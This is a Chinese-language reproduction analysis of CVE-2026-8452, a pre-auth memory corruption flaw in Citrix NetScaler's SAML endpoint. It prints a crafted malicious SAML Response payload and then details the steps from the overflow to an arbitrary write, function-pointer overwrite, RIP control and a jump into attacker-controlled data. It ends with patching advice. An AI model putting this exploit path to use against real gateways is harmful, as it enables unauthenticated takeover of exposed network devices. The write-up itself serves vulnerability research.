CVE-2026-8452 — Citrix NetScaler SAML Pre-auth RCE 复现分析
摘要
本文针对 CVE-2026-8452 的复现过程进行分析,重点记录在 Citrix NetScaler nsvpx-13.1.4.43 环境中触发崩溃、定位调用链、追踪 ns_memcpy_sse2 参数来源、验证可控写入以及进一步控制 RIP 的过程。
本文的重点并不是重复完整漏洞利用链,而是补充复现过程中容易出现差异的细节,尤其是不同虚拟化环境下崩溃路径、目标地址计算方式和写入偏移的变化。
基本信息
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2026-8452 |
| 厂商 | Citrix |
| 产品 | NetScaler ADC / Gateway |
| 测试版本 | nsvpx-13.1.4.43 |
| 漏洞类型 | SAML 处理链路中的内存破坏 / Pre-auth RCE |
| 严重等级 | Critical |
| CVSS | 9.8 |
| 攻击条件 | 未认证远程攻击 |
| 影响结果 | Pre-auth RCE |
| 攻击面 | SAML 认证相关入口(/cgi/samlauth) |
| 分析重点 | 崩溃路径差异、目标地址计算、任意写与 RIP 控制 |
影响范围
该漏洞影响 Citrix NetScaler ADC 与 Gateway 中 SAML 认证组件,核心分析对象为处理 SAML Response 的 nskgg 相关模块。攻击面位于未认证即可访问的 /cgi/samlauth 端点,攻击者通过构造恶意 SAML Response 中的 <ds:CanonicalizationMethod> 元素及 PrefixList 属性触发底层内存破坏。
漏洞分析
漏洞概述
CVE-2026-8452 是 Citrix NetScaler ADC / Gateway 中 SAML 认证处理链路的内存破坏漏洞,攻击者可在未认证条件下,通过向 /cgi/samlauth 端点发送构造的恶意 SAML Response,触发服务端内存破坏并最终实现 Pre-auth RCE。
漏洞核心在于 NetScaler 对 SAML Response 中 <ds:Signature> 元素的 <ds:CanonicalizationMethod> 子元素处理不当。其中 <ec:InclusiveNamespaces> 的 PrefixList 属性可被填充超长且结构化的字符串,在经过 XML 解析后进入底层数据包拆分与复制逻辑(splitpkt → splitPktInner → ns_memcpy_sse2),最终导致 ns_memcpy_sse2 的目标地址参数被攻击者间接控制。
当目标地址被控制后,攻击者可将部分可控数据写入目标内存区域,进一步覆盖 tx_pkt_complete_fptr 等函数指针实现 RIP 控制。PrefixList 内容本身位于 TCP 数据包中且攻击者完全可控,可作为 shellcode 或 ROP 链的承载位置。
漏洞成因
从复现现象看,该漏洞与 NetScaler 对 SAML Response 中 XML Signature 相关字段的处理有关。构造后的 SAML 数据会进入后续数据包拆分与复制逻辑,最终影响 splitPktInner、splitpkt 以及 ns_memcpy_sse2 相关调用链。
在调试过程中可以观察到,异常数据会影响传入 ns_memcpy_sse2 的目标地址参数。目标地址并不是简单地直接等于输入中的某个字段值,而是在传递过程中经过了多次偏移计算。本文复现环境中,相关计算与 TCP 数据包头长度、splitPktInner 和 splitpkt 中的处理逻辑有关,这也是本文后续重点分析的差异点。
当目标地址被控制后,攻击者可将部分可控内容写入目标内存区域。进一步结合 tx_pkt_complete_fptr 等函数指针位置,可以将内存破坏推进到 RIP 控制。需要注意的是,写入源数据开头并非完全可控,因此实际写入地址需要根据环境和数据布局进行偏移修正。
研究环境与准备
本文复现过程基于本地授权实验环境完成。不同 NetScaler 版本、虚拟化平台、网络路径和数据包布局都可能导致崩溃函数、调用栈和偏移计算结果出现差异。
后续复现细节中保留了这些差异,希望读者在复现时重点关注环境差异,而不是机械套用固定偏移。
利用思路与验证
环境
本文复现过程基于EvE仿真的Citrix Netscaler nsvpx-13.1.4.43版本镜像完成。
崩溃调试(一)
根据watchtowr的文章内容,发送溢出数据包,观察程序状态。
b'<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_r1" Version="2.0" IssueInstant="2026-07-01T00:00:00Z" InResponseTo="_probe00000000000000000000000000" Destination="https://oobsec.cn/cgi/samlauth"><saml:Issuer>https://oobsec.lab/saml/sso</saml:Issuer><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status><saml:Assertion ID="_a1" Version="2.0" IssueInstant="2026-07-01T00:00:00Z"><saml:Issuer>https://idp.invalid/sso</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"><ec:InclusiveNamespaces xmlns:ec="http://www.w3.org/2001/10/xml-exc-c14n#" PrefixList="M0000000M0000008M0000016M0000024M0000032N000000 M0000048M0000056M0000064M0000072M0000080N000001 M0000096M0000104M0000112M0000120M0000128N000002 M0000144M0000152M0000160M0000168M0000176N000003 M0000192M0000200M0000208M0000216M0000224N000004 M0000240M0000248M0000256M0000264M0000272N000005 M0000288M0000296M0000304M0000312M0000320N000006 M0000336M0000344M0000352M0000360M0000368N000007 M0000384M0000392M0000400M0000408M0000416N000008 M0000432M0000440M0000448M0000456M0000464N000009 M0000480M0000488M0000496M0000504M0000512N000010 M0000528M0000536M0000544M0000552M0000560N000011 M0000576M0000584M0000592M0000600M0000608N000012 M0000624M0000632M0000640M0000648M0000656N000013 M0000672M0000680M0000688M0000696M0000704N000014 M0000720M0000728M0000736M0000744M0000752N000015 M0000768M0000776M0000784M0000792M0000800N000016
M0000816M0000824M0000832M0000840M0000848N000017 M0000864M0000872M0000880M0000888M0000896N000018 M0000912M0000920M0000928M0000936M0000944N000019 M0000960M0000968M0000976M0000984M0000992N000020 M0001008M0001016M0001024M0001032M0001040N000021 M0001056M0001064M0001072M0001080M0001088N000022 M0001104M0001112M0001120M0001128M0001136N000023 M0001152M0001160M0001168M0001176M0001184N000024 M0001200M0001208M0001216M0001224M0001232N000025 M0001248M0001256M0001264M0001272M0001280N000026 M0001296M0001304M0001312M0001320M0001328N000027 M0001344M0001352M0001360M0001368M0001376N000028 M0001392M0001400M0001408M0001416M0001424N000029 M0001440M0001448M0001456M0001464M0001472N000030 M0001488M0001496M0001504M0001512M0001520N000031
M0001536M0001544M0001552M0001560M0001568N000032 M0001584M0001592M0001600M0001608M0001616N000033 M0001632M0001640M0001648M0001656M0001664N000034 M0001680M0001688M0001696M0001704M0001712N000035 M0001728M0001736M0001744M0001752M0001760N000036 M0001776M0001784M0001792M0001800M0001808N000037 M0001824M0001832M0001840M0001848M0001856N000038 M0001872M0001880M0001888M0001896M0001904N000039 M0001920M0001928M0001936M0001944M0001952N000040 M0001968M0001976M0001984M0001992M0002000N000041 M0002016M0002024M0002032M0002040M0002048N000042 M0002064M0002072M0002080M0002088M0002096N000043 M0002112M0002120M0002128M0002136M0002144N000044 M0002160M0002168M0002176M0002184M0002192N000045 M0002208M0002216M0002224M0002232M0002240N000046 M0002256M0002264M0002272M0002280M0002288N000047 M0002304M0002312M0002320M0002328M0002336N000048 M0002352M0002360M0002368M0002376M0002384N000049 M0002400M0002408M0002416M0002424M0002432N000050 M0002448M0002456M0002464M0002472M0002480N000051 M0002496M0002504M0002512M0002520M0002528N000052 M0002544M0002552M0002560M0002568M0002576N000053 M0002592M0002600M0002608M0002616M0002624N000054 M0002640M0002648M0002656M0002664M0002672N000055 M0002688M0002696M0002704M0002712M0002720N000056 M0002736M0002744M0002752M0002760M0002768N000057 M0002784M0002792M0002800M0002808M0002816N000058 M0002832M0002840M0002848M0002856M0002864N000059"/></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><ds:Reference URI="#_a1"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><ds:DigestValue>AAAAAAAAAAAAAAAAAAAAAAAAAAA=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>AAAA</ds:SignatureValue></ds:Signature><saml:Subject><saml:NameID>probe</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="_probe00000000000000000000000000" Recipient="https://oobsec.cn/cgi/samlauth" NotOnOrAfter="2099-01-01T00:00:00Z"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2000-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/></saml:Assertion></samlp:Response>'

符合预期出现崩溃。

崩溃地址和崩溃函数与watchtowr文章中不一致,但都是memcpy功能的函数。该差异可能归因于复现环境不同。

可以确定的是rax的值即ns_memcpy_sse2函数的目标地址参数是可控的,但该值在传输过程中发送了改变。
崩溃调试(二)
虽然通过bt输出了调用栈,但是崩溃函数ns_memcpy_sse2和splitPktInner函数并不存在直接调用。首先要找到正在的调用栈,再由此定位rax值的来源。通过ida的反汇编代码可以知道rax是a1,a1是由调用函数传入,所以现在进行调试。

首先对崩溃函数下断点,但其一直未命中,显示该断点不合适,对断点进行修改,增加条件判断,判断rax变为目标值时进行断点。

很遗憾没有命中断点,程序遇到了崩溃,寄存器rax也被修改为了目标值。通过观察汇编代码发现rax时在地址0x163f597出被赋值,所以再次更改断点地址。

更改断点后再次运行程序,发现成功断到rax为目标值时进入ns_memcpy_sse2时的函数调用栈,函数栈和第一次相同,调用函数依然是splitPktInner。
可能存在间接调用关系,根据调用栈地址对splitPktInner进行分析,发现存在调用。





崩溃调试(三)
分析汇编代码可知rax的值是ns_memcpy_sse2第一个参数的值,根据调用链可以确定数据源是splitPktInner中[a3+80]内存的值。

[a3+0x50]内存的值在传输过程进行了计算。

进行调试确定[a1+0x50]-[a1+0xe0]=-0x36。所以[a3+0x50]内存的值将减去0x36。同时[a1+0xe0]-[a1+0x50]作为ns_memcpy_sse2第三个参数传入,即rdx的值0x36。这和watchtowr文章中提到的‘目标地址减去数据包长度’的理论存在差异。这里减去的0x36是tcp数据包头长度,并且崩溃处的数据源地址内容rcx恰好是tcp数据包头开头。

进一步调试将发现结果不符合预期,向上检查发现splitpkt中进行了相同的操作,所以进行了目标内存值减去了0x6c,现在设定目标偏移内存值以验证结果。

0x4141414141414141-0x6c=0x41414141414140d5
Bingo!rax的值可以任意控制。
RIP 控制
已经可以任意修改内存复制的目标地址,但目前源地址内容似乎不是可控的。

rcx是rsi内存中前8个字节的内容。

根据watchtowr的经验修改写入地址以设置tx_pkt_complete_fptr。不难看出,尽管开头内容不可控,复制源内容中仍存在可控内容。注意!写入地址并不是 tx_pkt_complete_fptr的地址,因为数据源开头内容不可控,所以需要根据环境将写入地址与tx_pkt_complete_fptr的地址进行偏移,通过可控数据修改tx_pkt_complete_fptr的值。

Great!根据内容可以快速定位地址偏移。

至此,实现写任何数据到任何地址。
最后一跳
在控制RIP后,要做的就是执行我们的shellcode或ROP链,首先要找到rip该跳向何处,可控的PrefixList所在地址是一个好的选择。

查看TCP数据包起始地址内容,定位PrefixList起始地址。

现在我们确定了要跳向哪里。 最后可以在这里填充想要实现的功能指令。
总结
本文旨在分析关于CVE-2026-8452漏洞复现过程中的一些细节问题。对于漏洞成因分析及利用方式,watchTowr的文章中给出了非常详细的介绍。但在复现过程中依然存在一些差异之处,该差异可能归因于环境,在复现过程中,采用了Vmware虚拟机和EvE虚拟机两种形式镜像进行复现,漏洞路径均与watchTowr文章过程存在差异,希望本过程可以为广大研究人员复现过程提供一些参考。
修复建议
- 升级 NetScaler ADC / Gateway 至厂商已修复版本,避免继续暴露受影响组件。
- 在无法立即升级的场景中,临时限制
/cgi/samlauth等 SAML 相关端点的访问来源,降低未认证远程攻击面。 - 检查系统日志、异常进程、异常出站连接和可疑持久化痕迹,关注
nskgg相关模块的异常行为。 - 对公网暴露的 VPN、网关和边界设备建立持续资产盘点与补丁跟踪机制。
参考资料
免责声明
本文仅用于安全研究与教育目的。请勿将上述内容用于未经授权的设备、网络或生产环境。